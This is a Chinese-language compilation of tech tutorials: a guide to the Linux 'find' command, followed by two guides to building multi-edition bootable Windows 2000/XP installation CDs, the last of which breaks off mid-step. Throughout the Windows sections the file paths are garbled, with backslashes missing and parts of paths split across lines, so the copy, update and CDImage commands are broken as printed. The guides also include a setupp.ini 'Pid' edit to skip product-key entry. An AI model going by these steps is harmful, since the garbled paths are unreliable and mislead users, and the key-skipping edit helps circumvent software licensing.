  可是使用Linux的用户就没有那么幸运了,在Linux上查找某个文件确实是一件比较麻烦的事情。毕竟在Linux中需要我们使用专用的“查找”命令来寻找在硬盘上的文件。Linux下的文件表达格式非常复杂,不象WINDOWS,DOS下都是统一的AAAAAAA.BBB格式那么方便查找,在WINDOWS中,只要知道要查找的文件的文件名或者后缀就非常容易查找到。Linux中查找文件的命令通常为“find”命令,“find”命令能帮助我们在使用,管理Linux的日常事务中方便的查找出我们需要的文件。对于Linux新手来说,“find”命令也是了解和学习Linux文件特点的方法。因为Linux发行版本繁多,版本升级很快,在Linux书籍上往往写明某个配置文件的所在位置,往往Linux新手按图索骥还是不能找到。比如说REDHAT Linux 7.O和REDHAT Linux 7.1中有些重要的配置文件所在的硬盘位置和文件目录就有了很大的改变,如果不学会使用“find”命令,那么在成千上万的Linux文件中要找到其中的一个配置文件是相当困难的,笔者在没有精通“find”命令之前就吃过这样的苦头。好,下面就详细为大家介绍强大的“find”命令的全部使用方法和用途。

  通过文件名查找法:

  这个方法说起来就和在WINDOWS下查找文件一样容易理解了。如果你把这个文件放在单个的文件夹里面,只要使用常见的“ls"命令就能方便的查找出来,那么使用“find”命令来查找它就不能给你留下深刻的印象,毕竟“find”命令的强大功能不止这个。如果知道了某个文件的文件名,而不知道这个文件放到哪个文件夹,甚至是层层套嵌的文件夹里。举例说明,假设你忘记了httpd.conf这个文件在系统的哪个目录下,甚至在系统的某个地方也不知道,则这是可以使用如下命令:

  find / -name httpd.conf   这个命令语法看起来很容易就明白了,就是直接在find后面写上 -name,表明要求系统按照文件名查找,最后写上httpd.conf这个目标文件名即可。稍等一会系统会在计算机屏幕上显示出查找结果列表:
etc/httpd/conf/httpd.conf   这就是httpd.conf这个文件在Linux系统中的完整路径。查找成功。
  如果输入以上查找命令后系统并没有显示出结果,那么不要以为系统没有执行find/ -name httpd.conf命令,而可能是你的系统中没有安装Apache服务器,这时只要你安装了Apache Web服务器,然后再使用find / -name httpd.conf就能找到这个配置文件了。

  无错误查找技巧:

  在Linux系统中“find”命令是大多数系统用户都可以使用的命令,并不是ROOT系统管理员的专利。但是普通用户使用“find”命令时也有可能遇到这样的问题,那就是Linux系统中系统管理员ROOT可以把某些文件目录设置成禁止访问模式。这样普通用户就没有权限用“find”命令来查询这些目录或者文件。当普通用户使用“find”命令来查询这些文件目录是,往往会出现"Permissiondenied."(禁止访问)字样。系统将无法查询到你想要的文件。为了避免这样的错误,我们可是使用转移错误提示的方法尝试着查找文件,输入
find / -name access_log 2>/dev/null   这个方法是把查找错误提示转移到特定的目录中去。系统执行这个命令后,遇到错误的信息就直接输送到stderrstream 2 中,access_log 2就是表明系统将把错误信息输送到stderrstream 2中,/dev/null是一个特殊的文件,表明空的或者错误的信息,这样查询到的错误信息将被转移了,不会再显示了。

  在Linux系统查找文件也会遇到这样一个实际问题。如果我们在整个硬盘,这个系统中查找某个文件就要花费相当长的一段时间,特别是大型Linux系统和容量较大的硬盘,文件放在套嵌很深的目录中的时候。如果我们知道了这个文件存放在某个大的目录中,那么只要在这个目录中往下找就能节省很多时间了。使用find /etc -name httpd.conf 就可以解决这个问题。上面的命令就是表示在etc目录中查询httpd.conf这个文件。这里再说明一下“/ ”这个函数符号的含义,如果输入 “find/ ”就是表示要求Linux系统在整个ROOT目录下查找文件,也就是在整个硬盘上查找文件,而“find/etc”就是只在 etc目录下查找文件。因为“find/etc”表示只在etc目录下查找文件,所以查找的速度就相应要快很多了。

  根据部分文件名查找方法:
  这个方法和在WINDOWS中查找已知的文件名方法是一样的。不过在Linux中根据部分文件名查找文件的方法要比在WINDOWS中的同类查找方法要强大得多。例如我们知道某个文件包含有srm这3个字母,那么要找到系统中所有包含有这3个字母的文件是可以实现的,输入:

  find /etc -name ‘*srm*‘   这个命令表明了Linux系统将在/etc整个目录中查找所有的包含有srm这3个字母的文件,比如 absrmyz, tibc.srm等等符合条件的文件都能显示出来。如果你还知道这个文件是由srm 这3个字母打头的,那么我们还可以省略最前面的星号,命令如下:

  find/etc -name ‘srm*‘   这是只有像srmyz 这样的文件才被查找出来,象absrmyz或者 absrm这样的文件都不符合要求,不被显示,这样查找文件的效率和可靠性就大大增强了。

  根据文件的特征查询方法:

  如果只知道某个文件的大小,修改日期等特征也可以使用“find”命令查找出来,这和WINDOWS系统中的"搜索"功能是基本相同的。在微软的"搜索"中WINDOWS中的"搜索助理"使得搜索文件和文件夹、打印机、用户以及网络中的其他计算机更加容易。它甚至使在Internet 上搜索更加容易。"搜索助理"还包括一个索引服务,该服务维护了计算机中所有文件的索引,使得搜索速度更快。使用"搜索助理"时,用户可以指定多个搜索标准。例如,用户可以按名称、类型及大小搜索文件和文件夹。用户甚至可以搜索包含特定文本的文件。如果用户正使用 Active Directory,这时还可以搜索带有特定名称或位置的打印机。

  例如我们知道一个Linux文件大小为1,500 bytes,那么我们可是使用如下命令来查询find / -size 1500c,字符 c 表明这个要查找的文件的大小是以bytes为单位。如果我们连这个文件的具体大小都不知道,那么在Linux中还可以进行模糊查找方式来解决。例如我们输入find/ -size +10000000c 这个命令,则标明我们指定系统在根目录中查找出大于10000000字节的文件并显示出来。命令中的“+”是表示要求系统只列出大于指定大小的文件,而使用“-”则表示要求系统列出小于指定大小的文件。下面的列表就是在Linux使用不同“ find"命令后系统所要作出的查找动作,从中我们很容易看出在Linux中使用“find"命令的方式是很多的,“ find"命令查找文件只要灵活应用,丝毫不必在WINDOWS中查找能力差。

  find / -amin -10 # 查找在系统中最后10分钟访问的文件
  find / -atime -2 # 查找在系统中最后48小时访问的文件
  find / -empty # 查找在系统中为空的文件或者文件夹
  find / -group cat # 查找在系统中属于 groupcat的文件
  find / -mmin -5 # 查找在系统中最后5分钟里修改过的文件
  find / -mtime -1 #查找在系统中最后24小时里修改过的文件
  find / -nouser #查找在系统中属于作废用户的文件
  find / -user fred #查找在系统中属于FRED这个用户的文件

  下面的列表就是对find命令所可以指定文件的特征进行查找的部分条件。在这里并没有列举所有的查找条件,参考有关Linux有关书籍可以知道所有find命令的查找函数。
  -amin n
  查找系统中最后N分钟访问的文件
  -atime n
  查找系统中最后n*24小时访问的文件
  -cmin n
  查找系统中最后N分钟被改变状态的文件
  -ctime n
  查找系统中最后n*24小时被改变状态的文件
  -empty
  查找系统中空白的文件,或空白的文件目录,或目录中没有子目录的文件夹
  -false
  查找系统中总是错误的文件
  -fstype type
  查找系统中存在于指定文件系统的文件,例如:ext2 .
  -gid n
  查找系统中文件数字组 ID 为 n的文件
  -group gname
  查找系统中文件属于gnam文件组,并且指定组和ID的文件

  Find命令的控制选项说明:
  Find命令也提供给用户一些特有的选项来控制查找操作。下表就是我们总结出的最基本,最常用的find命令的控制选项及其用法。   选项
  用途描述
  -daystart
  .测试系统从今天开始24小时以内的文件,用法类似-amin
  -depth
  使用深度级别的查找过程方式,在某层指定目录中优先查找文件内容
  -follow
  遵循通配符链接方式查找; 另外,也可忽略通配符链接方式查询
  -help
  显示命令摘要
  -maxdepth levels
  在某个层次的目录中按照递减方法查找
  -mount
  不在文件系统目录中查找, 用法类似 -xdev.
  -noleaf
  禁止在非UNUX文件系统,MS-DOS系统,CD-ROM文件系统中进行最优化查找
  -version
  打印版本数字
  

  使用-follow选项后,find命令则遵循通配符链接方式进行查找,除非你指定这个选项,否则一般情况下find命令将忽略通配符链接方式进行文件查找。

  -maxdepth选项的作用就是限制find命令在目录中按照递减方式查找文件的时候搜索文件超过某个级别或者搜索过多的目录,这样导致查找速度变慢,查找花费的时间过多。例如,我们要在当前(.)目录技巧子目录中查找一个名叫fred的文件,我们可以使用如下命令

  find . -maxdepth 2 -name fred   假如这个fred文件在./sub1/fred目录中,那么这个命令就会直接定位这个文件,查找很容易成功。假如,这个文件在./sub1/sub2/fred目录中,那么这个命令就无法查找到。因为前面已经给find命令在目录中最大的查询目录级别为2,只能查找2层目录下的文件。这样做的目的就是为了让find命令更加精确的定位文件,如果你已经知道了某个文件大概所在的文件目录级数,那么加入-maxdepth n 就很快的能在指定目录中查找成功。

  使用混合查找方式查找文件
  find命令可以使用混合查找的方法,例如我们想在/tmp目录中查找大于100000000字节并且在48小时内修改的某个文件,我们可以使用-and 来把两个查找选项链接起来组合成一个混合的查找方式。
  find /tmp -size +10000000c -and -mtime +2   学习过计算机语言的朋友都知道,在计算机语言里,使用and ,or 分别表示“与”和“或”的关系。在Linux系统的查找命令中一样通用。
  还有这样的例子,
  find / -user fred -or -user george   我们可以解释为在/tmp目录中查找属于fred或者george这两个用户的文件。
  在find命令中还可以使用“非”的关系来查找文件,如果我们要在/tmp目录中查找所有不属于panda的文件,使用一个简单的
  find /tmp ! -user panda   命令就可以解决了。很简单。

  查找并显示文件的方法
  查找到某个文件是我们的目的,我们更想知道查找到的文件的详细信息和属性,如果我们采取现查找文件,在使用LS命令来查看文件信息是相当繁琐的,现在我们也可以把这两个命令结合起来使用。

  find / -name "httpd.conf" -ls   系统查找到httpd.conf文件后立即在屏幕上显示httpd.conf文件信息。
  12063 34 -rw-r–r– 1 root root 33545 Dec 30 15:36 /etc/httpd/conf/httpd.conf

  下面的表格就是一些常用的查找文件并显示文件信息的参数和使用方法
  选项
  用途描述
  -exec command;
  查找并执行命令
  -fprint file
  打印文件完整文件名
  -fprint0 file
  打印文件完整文件名包括空的文件
  -fprintf file format
  打印文件格式
  -ok command;
  给用户命令执行操作,根据用户的Y 确认输入执行
  -printf format
  打印文件格式
  -ls
  打印同种文件格式的文件.

  总结:到这里为止我们已经学习了这名多关于find命令的使用方法,也列出了很多常用的find命令的选项,如果我们能熟练掌握在Linux中find命令的使用方法,那么在Linux中查找文件也不是一件困难的事情。

Windows n合1启动光盘制作攻略

——实战Boot Scriptor

  在“Windows n合1 启动光盘制作攻略——Windows 2000 3合1与Windows XP 2合1启动光盘的制作方法”一文中我讲解了Windows 2000 3合1光盘与Windows XP 2合1的光盘的制作原理与制作方法,相信各位朋友一定会有所启发,有些人已经自己动手操作了。但是后来发现,上文中有些错误,当时没有考虑到,这里修正如下:

  (1)Windows 2000:如果集成了SP2或SP3,一定要将i386子目录中的文件txtsetup.sif复制到各自的安装目录下(或者干脆用i386中的同名文件全部替换),覆盖掉原来的文件,否则安装时系统报错。

  (2)Windows XP:用CDImage制作ISO映像文件时,原来的“-n”参数要修改为“-j1”,否则ISO文件能够通过虚拟机测试,但烧录到光盘后会找不到ASMS目录里的文件,因为路径刚刚超过8层。

  各位朋友制作好了2合1、3合1后,一定希望弄个5合1、6合1、8合1、xx合1,把各个版本的操作系统通通搜罗进来!很好,如果你有DVD刻录机的话,或者有1.3 GB的DDCD刻录机,我就来满足你的这个愿望:MS & Linux xx合1启动版,只要你的DVD足够大。但是我不会帮你做,我只提供一个通用的办法。还是让我们以Windows 2000 3合1为例来讲解吧。

  1. 所需工具

  (1)WPROSECT.DAT、WSRVSECT.DAT、ASRVSECT.DAT
  必须。Windows 2000光盘启动引导文件。这三个文件其实是一样的,只是其中原来的字符串“i386”分别被替换成了“wpro”、“wsrv”和“asrv”。
  下载地址:http://www.tech-hints.com/files/2kroot.zip
  (2)CDImage.exe(命令行界面)或CDImagegui.exe(图形界面)
  必须。可启动光盘镜像制作工具,生成标准的ISO文件,同时优化光盘上的文件。
  下载地址:http://www.tech-hints.com/prog/cdimage.zip,http://www.tech-hints.com/prog/cdimagegui.zip
  (3)WinImg
  可选。解Windows 2000安装软盘组的img文件。可替换方法是制作4张安装软盘,然后将4张软盘上的全部文件复制到硬盘相应目录下。
  下载地址:http://www.winimage.com/winimage/winima60.zip
  (4)UltraEdit
  可选。十六进制编辑器。
  下载地址:ftp://ultraedit.com/uedit32.zip
  (5)Windows 2000安装软盘组
  必须。用软盘引导机器,加载必要的系统文件及基本驱动程序,然后从光盘继续安装。
  Windows 2000安装软盘组在正版光盘的bootdisk目录下,三个版本的安装软盘是不同的,不能混用。
  (6)Windows 2000 Service Pack 3
  可选。将Windows 2000 Service Pack 3集成进Windows 2000的三个版本中,这样安装完毕的Windows 2000就集成了Service Pack 3,不必再单独安装了。
  下载地址:http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/CN/W2Ksp3.exe
  (7)VMware(或Virtual PC)和Nero
  可选。测试制作完成的3合1镜像文件并烧录光盘。
  (8)Boot Scriptor
  必须。多重启动光盘管理器。这个软件的版本发展非常快,各版本之间的功能大不相同,目前能够下载的是1.2.3b,如果以后出了新版本,可以参考这里的做法。
  下载地址:http://tigger.cc.uic.edu/~mterlo1/bscript/distro/Boot%20Scriptor%20(1.2.3b).zip

  2. 目录及文件结构

  保证硬盘上有足够空余空间(假设将文件存放在硬盘d:,全部三个版本的原始文件约占用空间为1.24 GB,生成的镜像文件约为502 MB),建立如下目录结构,并复制文件cdimage.exe到相应位置:
  d:win2kcdimage.exe
  d:win2k
ootasrv
  d:win2k
ootwpro
  d:win2k
ootwsrv
  其中,d:win2k
oot是Windows 2000 3合1光盘的根目录,d:win2k
ootasrv用于存放Windows 2000高级服务器版文件,d:win2k
ootwsrv用于存放Windows 2000服务器版文件,d:win2k
ootwpro用于存放Windows 2000专业版文件。

  3. 文件复制

  将Windows 2000高级服务器版光盘上的文件全部复制到asrv目录,将Windows 2000服务器版光盘上的文件全部复制到wsrv目录,将Windows 2000专业版光盘上的文件全部复制到wpro目录。

  必须确保复制了全部文件和子目录,包括具有系统和隐藏属性的。

  复制完毕后,清除d:win2k
oot下全部文件和子目录的系统、隐藏和只读属性。

  将d:win2k
ootasrv目录下的cdrom_ia.5和cdrom_nt.5复制到d:win2k
oot,将d:win2k
ootwsrv目录下的cdrom_is.5复制到d:win2k
oot,将d:win2k
ootwpro目录下的cdrom_ip.5复制到d:win2k
oot。

  要点:d:win2k
oot下面必须有cdrom_ia.5、cdrom_is.5、cdrom_ip.5和cdrom_nt.5文件,这是我们欺骗安装程序的标志:这张光盘是Windows 2000的原始安装盘。

  4. 将Service Pack 3集成到Windows 2000各版本中

  运行w2ksp3.exe /x将Service Pack 3全部文件提取出来,假设提取到f: mp。在f: mpi386update下分别运行命令行命令:
  update.exe -s:-D:win2k
ootasrv
  update.exe -s:-D:win2k
ootwsrv
  update.exe -s:-D:win2k
ootwpro
  上述命令运行完毕后,Service Pack 3已经集成到Windows 2000各版本中,且d:win2k
ootasrv、d:win2k
ootwsrv、d:win2k
ootwpro各目录下应有一文件cdromsp3.tst,将其复制到d:win2k
oot。
  要点:d:win2k
oot下面必须有cdromsp3.tst文件,否则安装程序会要求我们插入Service Pack 3光盘。

  5. 跳过输入产品序列号

  查找各个版本i386目录,找到文件setupp.ini,用记事本打开,将其中的“Pid=xxxxx000”修改为“Pid=xxxxx270”,存盘退出。这一步不是必须的,只是图个方便。

  6. 配置安装程序

  Windows 2000正版光盘上有个bootdisk子目录,里面包含4张Windows 2000安装软盘镜像的img文件。用WinImg将各个版本bootdisk目录下的4个img文件分别释放到各自的系统文件目录下:
  d:win2k
ootwproootdisk的img文件全部释放到d:win2k
ootwpro下。
  d:win2k
ootwsrvootdisk的img文件全部释放到d:win2k
ootwsrv下。
  d:win2k
ootasrvootdisk的img文件全部释放到d:win2k
ootasrv下。

  要点:这是我们模拟软盘安装的关键,一定要连带system32目录(里面有两个文件)一起释放。

  如果集成了Service Pack 3,需要将wpro、wsrv、asrv下面的文件用各自i386目录下面的文件替换(实际上只需要替换txtsetup.sif就行了),即将启动软盘组中的文件也替换为集成Service Pack 3后的文件。注意:一定不要替换system32中的文件,否则无法安装。

  要替换这一大堆文件比较繁琐,可以用两个办法:
  (1)xxcopy法。下载xxcopy(http://www.xxcopy.com/),执行下面的命令:
  xxcopy d:win2k
ootwproi386 d:win2k
ootwpro /U /E /YY
  xxcopy d:win2k
ootwsrvi386 d:win2k
ootwsrv /U /E /YY
  xxcopy d:win2k
ootasrvi386 d:win2k
ootasrv /U /E /YY
替换完成后删除wpro、wsrv、asrv下面的空目录(xxcopy替换的副产品)即可。
  (2)批处理替换法。以wpro目录为例:
  dir d:win2k
ootwpro*.* >1.bat
  move d:win2k
ootwpro1.bat d:win2k
ootwproi386
  用Ultraedit编辑1.bat,只保留文件名,每个文件名一行,修改每行的命令为
  copy [文件名] d:win2k
ootwpro
  存盘退出,在d:win2k
ootwproi386目录下运行1.bat,d:win2k
ootwproi386目录没有而d:win2k
ootwpro有的文件不替换。其他两个版本如法炮制。

  7. 修改setupldr.bin和txtsetup.sif

  用Ultraedit打开d:win2k
ootasrvsetupldr.bin,用ASCII方式替换“i386”为“asrv”,共3处;
  用Ultraedit打开d:win2k
ootwsrvsetupldr.bin,用ASCII方式替换“i386”为“wsrv”,共3处;
  用Ultraedit打开d:win2k
ootwprosetupldr.bin,用ASCII方式替换“i386”为“wpro”,共3处。
  存盘退出。

  用Ultraedit打开d:win2k
ootasrv xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "asrv"”;
  用Ultraedit打开d:win2k
ootwsrv xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "wsrv"”;
  用Ultraedit打开d:win2k
ootwpro xtsetup.sif,替换“SetupSourcePath = ""”为“SetupSourcePath = "wpro"”。
  存盘退出。

  要点:这两个文件中的路径告诉安装程序从何处复制文件,必须与目录结构相匹配。

  8. 启动菜单的制作

  释放文件Boot Scriptor (1.2.3b).zip,将其中的bscript子目录复制到d:win2k
oot,将bscriptloader.bin(光盘引导器)移动到d:win2k,删除bscriptscriptw.com,bscriptmodules中的文件不动(尽管有些是我们不需要的,但文件很小)。

  释放2kroot.zip,将其中的文件WPROSECT.DAT、WSRVSECT.DAT、ASRVSECT.DAT复制到d:win2k
ootscript。

  9. 编写启动菜单配置文件bscriptscript.ini
  start:
  clear
  print c "

c17===================================================
"
  print c "c17  c1fWindows 2000 Setupc17  
"
  print c "c17—————————————————
"
  print c "c17  
"
  print c "c17  c1f1c17 Windows 2000 Professional  
"
  print c "c17  c1f2c17 Windows 2000 Server  
"
  print c "c17  c1f3c17 Windows 2000 Advanced Server  
"
  print c "c17  
"
  print c "c17  c1fFc17 Boot from first Floppy Drive  
"
  print c "c17 c1f Escc17 Boot from first Hard Disk  
"
  print c "c17  
"
  print c "c17—————————————————
"
  print c "c17  Select the item and then press Enter  
"
  print c "c17===================================================
"
  ;
  start1:
  call drawscrn
  setpos 1 7
  print c "c3f  1c31 Windows 2000 Professional  "
  key1:
  getkey
  call mainkey
  onkey space goto item_1
  onkey enter goto item_1
  onkey up goto start5
  onkey down goto start2
  goto key1
  ;
  start2:
  call drawscrn
  setpos 1 8
  print c "c3f  2c31 Windows 2000 Server  "
  key2:
  getkey
  call mainkey
  onkey space goto item_2
  onkey enter goto item_2
  onkey up goto start1
  onkey down goto start3
  goto key2
  ;
  start3:
  call drawscrn
  setpos 1 9
  print c "c3f  3c31 Windows 2000 Advanced Server  "
  key3:
  getkey
  call mainkey
  onkey space goto item_3
  onkey enter goto item_3
  onkey up goto start2
  onkey down goto start4
  goto key3
  ;
  start4:
  call drawscrn
  setpos 1 11
  print c "c3f  Fc31 Boot from first Floppy Drive  "
  key4:
  getkey
  call mainkey
  onkey space boot 0x00
  onkey enter boot 0x00
  onkey up goto start3
  onkey down goto start5
  goto key4
  ;
  start5:
  call drawscrn
  setpos 1 12
  print c "c3f Escc31 Boot from first Hard Disk  "
  key5:
  getkey
  call mainkey
  onkey space boot 0x80
  onkey enter boot 0x80
  onkey up goto start4
  onkey down goto start1
  goto key5
  ;
  mainkey:
  onkey 1 goto item_1
  onkey 2 goto item_2
  onkey 3 goto item_3
  onkey f boot 0x00
  onkey F boot 0x00
  onkey esc boot 0x80
  return
  ;
  item_1:
  cls
  chain WPROSECT.DAT
  goto start1
  ;
  item_2:
  cls
  chain WSRVSECT.DAT
  goto start2
  ;
  item_3:
  cls
  chain ASRVSECT.DAT
  goto start3
  ;
  drawscrn:
  setpos 1 7
  print c "c1f  1c17 Windows 2000 Professional  
"
  print c "c1f  2c17 Windows 2000 Server  
"
  print c "c1f  3c17 Windows 2000 Advanced Server  
"
  print c "
"
  print c "c1f  Fc17 Boot from first Floppy Drive  
"
  print c "c1f Escc17 Boot from first Hard Disk  "
  return
  ;
  eof:
  ;
  这个菜单配置文件看起来挺复杂,实际上大量的代码都是为了使用光标键而重复的。除了界面有点简陋外(你可以加上ANSI制表符等高位DOS扩展符),这个配置文件实现了彩色字符、光标键选择、从软盘启动、从硬盘启动等多种功能。

  10. 制作ISO文件

  CDImage程序加“-o”参数优化后生成的镜像文件约为502 MB,我们假设将它存放在f:盘的根目录下,命令行命令如下:
  d:win2kcdimage -lWin2K-3in1 -t01/10/2000,12:00:00 -g -h -j1 -o -m -bd:win2kloader.bin d:win2k
oot f:w2k-3in1.iso

  11. 测试ISO文件

  用VMware加载w2k-3in1.iso文件,设置第1启动设备为光驱。从光盘启动后,系统将显示启动菜单,将显示条移动到相应的项目上,然后按回车键;也可以直接按快捷键。
  提示:如果仅仅为了测试菜单的效果,可以不删除bscriptscriptw.com,直接运行bscriptw.com,它将显示BscriptBscript.Ini的效果。

  12. 增加特殊文件

  可以根据个人的爱好,在光盘上再增加一些特殊文件,例如新版IE、DirectX及一些专用的驱动程序等,只需将其复制到d:win2k
oot目录下,并重新制作ISO文件。

  13.烧录光盘

  ISO镜像文件测试无误后,即可用自己熟悉的烧录软件软件(例如Nero)将其烧录到光盘。 这样,一张可启动的Windows 2000 3合1光盘就制作完成了。当然,最好再用光盘正式地安装一遍,因为VMware测试与光盘测试是不完全一样的。

  14.集成Windows XP

  Windows XP与Windows 2000的制作原理是一样的,如果要集成进去,只需要修改WPROSECT.DAT,将其中的“wpro”改为XP文件所在目录即可,并修改启动菜单配置文件bscriptscript.ini。这样的一张光盘优化以后大概有1 GB(Windows 2000与Windows XP相同的文件不多),你要考虑的首要问题是用什么盘来烧录。

  15.DOS、Windows 9x与Linux等可启动型n合1的制作

  DOS、Windows 9x和Linux等启动光盘都是采用单张软盘映像的,如何增加这类系统呢?简单得很:增加一个启动选项,并将BSCRIPT.INI中的chain WPROSECT.DAT修改为启动软盘映像就行了。假设软盘映像为boot1.img,具体方法有三种:
  (1)diskemu boot1.img
  (2)memdisk boot1.img
  (3)isolinux boot1.img
  这几种方法都需要用到bscriptmodules中的相应模块。三种方法的效果是不一样的,其中diskemu模拟法速度最快,兼容性最好,只在1.2.3b版本中刚刚引进,建议采用。其他两种是ISOLINUX所采用的传统方法。

  16.特色点评

  优点:彩色菜单,光标移动,xx合1,……,这是目前最最新、最最牛、最最棒、最最神奇、最最最最……的方法。
  缺点:Boot Scriptor的发展太快,各版本之间有点不兼容,但说实在的,后面的版本越来越好,尤其是diskemu的引入,最激动人心,最大得人心,最大快人心,几乎彻底解决了映像文件的兼容性问题。

Windows n合1 启动光盘制作攻略

——Windows 2000 3合1与Windows XP 2合1启动光盘的制作方法

  Windows 2000 3合1光盘(简体中文专业版+简体中文服务器版+简体中文高级服务器版)已经在街面上流行很久了,Windows XP 2合1的光盘(简体中文专业版+简体中文家庭版)最近也开始上街了。这些n合1的光盘中,有些是不能用光盘进行启动的,我们只能在DOS下安装;有些是能够光盘启动并从光盘正常安装的。不能启动的n合1光盘的制作非常简单,我们没有必要去讨论,我们最感兴趣的是哪些能够用光盘启动并正常安装的n合1光盘,本文的宗旨就是研究一下这类光盘的基本原理及制作方法。

  可启动型n合1光盘使用了多重启动光盘技术,这种技术近几年来开始流行,但目前尚未形成统一的工业标准,有多种方法可以实现它。最初,该技术采用的工具是CD启动模拟器:diskemu1x(我们应该感谢Bart和Gary Tong,他们总能够写出一些能够完成伟大工程的小程序)。diskemu1x功能很强大,使用也比较容易,但很可惜,Bart已经不再继续开发它了(参见http://www.nu2.nu/diskemu/)。所幸的是,Bart并没有放弃对Windows 2000 3合1的兴趣,他搞了一个体积更小巧,使用更容易,针对性更强的东西:w2kall.bin,Windows 2000通用启动引导器(再次感谢Bart)。目前街面上还没有使用w2kall制作的Windows 2000 3合1光盘。由于w2kall.bin附带的说明非常简短,网上更是无法查找到相关的信息,有鉴于此,我对它进行了一番研究,用w2kall成功地制作出了Windows 2000 3合1光盘。经过另一番试验,又成功地制作出了Windows XP 2合1光盘。下面就是我的一些心得体会,愿与各位朋友共享。

一、Windows 2000/XP多重启动光盘的启动原理

  Windows 2000/XP各版本的原始安装光盘是单重启动,其引导文件中固化了光盘根目录下的i386目录(这一点给制作多重启动的n合1光盘制造了最大的障碍),该目录中不仅存放了Windows 2000/XP的系统文件,而且还存放了安装所需的安装文件和驱动程序。其引导过程如下:

  光盘引导->setupldr->ntdetect->加载驱动程序->读txtsetup.sif->开始光盘安装

  上述多个步骤中都涉及了光盘根目录下的i386目录,而我们将制作的n合1光盘是多重启动的,每个版本都包含一个i386子目录,它与单重启动光盘的目录结构不同(在光盘根目录与i386目录之间多了1层版本目录),因此不能简单地照搬单重启动的引导过程。所幸前辈高手们早就碰到了这个难题,而且也非常巧妙地解决了,那就是使用Windows 2000/XP的安装软盘组:用软盘启动计算机,依次加载所需驱动程序及必要的系统文件,从而避开安装时到光盘根目录下的i386目录加载安装文件和驱动程序,然后安装程序再从Windows 2000/XP安装光盘中安装复制其余的文件,继续安装。我们所要模拟的就是这一过程。改造后的n合1光盘引导过程如下:

  光盘引导->选择版本模块->模拟软盘启动->setupldr->ntdetect->加载驱动程序->读txtsetup.sif->开始光盘安装

  并将上述多个步骤中都涉及到的光盘根目录下的i386目录更改为光盘根目录下的版本目录(该目录中将存放安装软盘组上的文件)。

二、Windows 2000 3合1启动光盘的制作

  1. 所需工具

  (1)w2kall.bin
  必须。Windows 2000光盘启动引导文件。
  下载地址:http://www.tech-hints.com/files/w2kall.zip
  (2)CDImage.exe(命令行界面)或CDImagegui.exe(图形界面)
  必须。可启动光盘镜像制作工具,生成标准的ISO文件,同时具有优化光盘上文件的功能,使相同的文件只刻录1个,其他的文件都连接到该文件,有点类似Unix的功能。
  下载地址:http://www.tech-hints.com/prog/cdimage.zip,http://www.tech-hints.com/prog/cdimagegui.zip
  (3)WinImg
  可选。解Windows 2000安装软盘组的img文件。可替换方法是制作4张安装软盘,然后将4张软盘上的全部文件复制到硬盘相应目录下。
  下载地址:http://www.winimage.com/winimage/winima60.zip
  (4)UltraEdit
  可选。十六进制编辑器,修改启动引导文件中的显示文字。
  下载地址:ftp://ultraedit.com/uedit32.zip
  (5)Windows 2000安装软盘组
  必须。用软盘引导机器,加载必要的系统文件及基本驱动程序,然后从光盘继续安装。
  Windows 2000安装软盘组在正版光盘的bootdisk目录下,三个版本的安装软盘是不同的,不能混用。
  (6)Windows 2000 Service Pack 3
  可选。将Windows 2000 Service Pack 3集成进Windows 2000的三个版本中,这样安装完毕的Windows 2000就集成了Service Pack 3,不必再单独安装了。
  下载地址:http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/CN/W2Ksp3.exe
  (7)VMware(或Virtual PC)和Nero
  可选。测试制作完成的3合1镜像文件并烧录光盘。

  2. 目录及文件结构

  保证硬盘上有足够空余空间(假设将文件存放在硬盘d:,全部三个版本的原始文件约占用空间为1.24 GB,生成的镜像文件约为502 MB),建立如下目录结构,并复制文件w2kall.bin、cdimage.exe到相应位置:
  d:win2kw2kall.bin
  d:win2kcdimage.exe
  d:win2k
ootasrv
  d:win2k
ootwpro
  d:win2k
ootwsrv
  其中,d:win2k
oot是Windows 2000 3合1光盘的根目录,d:win2k
ootasrv用于存放Windows 2000高级服务器版文件,d:win2k
ootwsrv用于存放Windows 2000服务器版文件,d:win2k
ootwpro用于存放Windows 2000专业版文件。
  要点:“asrv”、“wsrv”和“wpro”的目录名称是固定在w2kall.bin中的,只能是4个字符长度。若需要存放在其他目录下,需要用UltraEdit修改w2kall.bin文件,找到“WPROWSRVASRV”,将其替换为其他名称,并相应修改目录结构。此外,还必须在后面的配置中进行相应修改。

  3. 文件复制

  将Windows 2000高级服务器版光盘上的文件全部复制到asrv目录,将Windows 2000服务器版光盘上的文件全部复制到wsrv目录,将Windows 2000专业版光盘上的文件全部复制到wpro目录。
  必须确保复制了全部文件和子目录,包括具有系统和隐藏属性的。
  复制完毕后,清除d:win2k
oot下全部文件和子目录的系统、隐藏和只读属性。
  将d:win2k
ootasrv目录下的cdrom_ia.5和cdrom_nt.5复制到d:win2k
oot,将d:win2k
ootwsrv目录下的cdrom_is.5复制到d:win2k
oot,将d:win2k
ootwpro目录下的cdrom_ip.5复制到d:win2k
oot。
  要点:d:win2k
oot下面必须有cdrom_ia.5、cdrom_is.5、cdrom_ip.5和cdrom_nt.5文件,这是我们欺骗安装程序的标志:这张光盘是Windows 2000的原始安装盘。

  4. 将Service Pack 3集成到Windows 2000各版本中

  运行w2ksp3.exe /x将Service Pack 3全部文件提取出来,假设提取到f: mp。在f: mpi386update下分别运行命令行命令:
  update.exe -s:-D:win2k
ootasrv
  update.exe -s:-D:win2k
ootwsrv
  update.exe -s:-D:win2k
ootwpro
  上述命令运行完毕后,Service Pack 3已经集成到Windows 2000各版本中,且d:win2k
ootasrv、d:win2k
ootwsrv、d:win2k
ootwpro各目录下应有一文件cdromsp3.tst,将其复制到d:win2k
oot。
  要点:d:win2k
oot下面必须有cdromsp3.tst文件,否则安装程序会要求我们插入Service Pack 3光盘。

  5. 跳过输入产品序列号

  查找各个版本i386目录,找到文件setupp.ini,用记事本打开,将其中的“Pid=xxxxx000”修改为“Pid=xxxxx270”,存盘退出。这一步不是必须的,只是图个方便。

  6. 配置安装程序

  Windows 2000正版光盘上有个bootdisk子目录,里面包含4张Windows 2000安装软盘镜像的img文件。用WinImg将各个版本bootdisk目录下的4个img文件分别释放到各自的系统文件目录下:
  d:win2k
ootwproootdisk的img文件全部释放到d:win2k
ootwpro下。
  d:win2k
ootwsrvootdisk的img文件全部释放到d:win2k
ootwsrv下。
  d:win2k
ootasrvootdisk的img文件全部释放到d:win2k
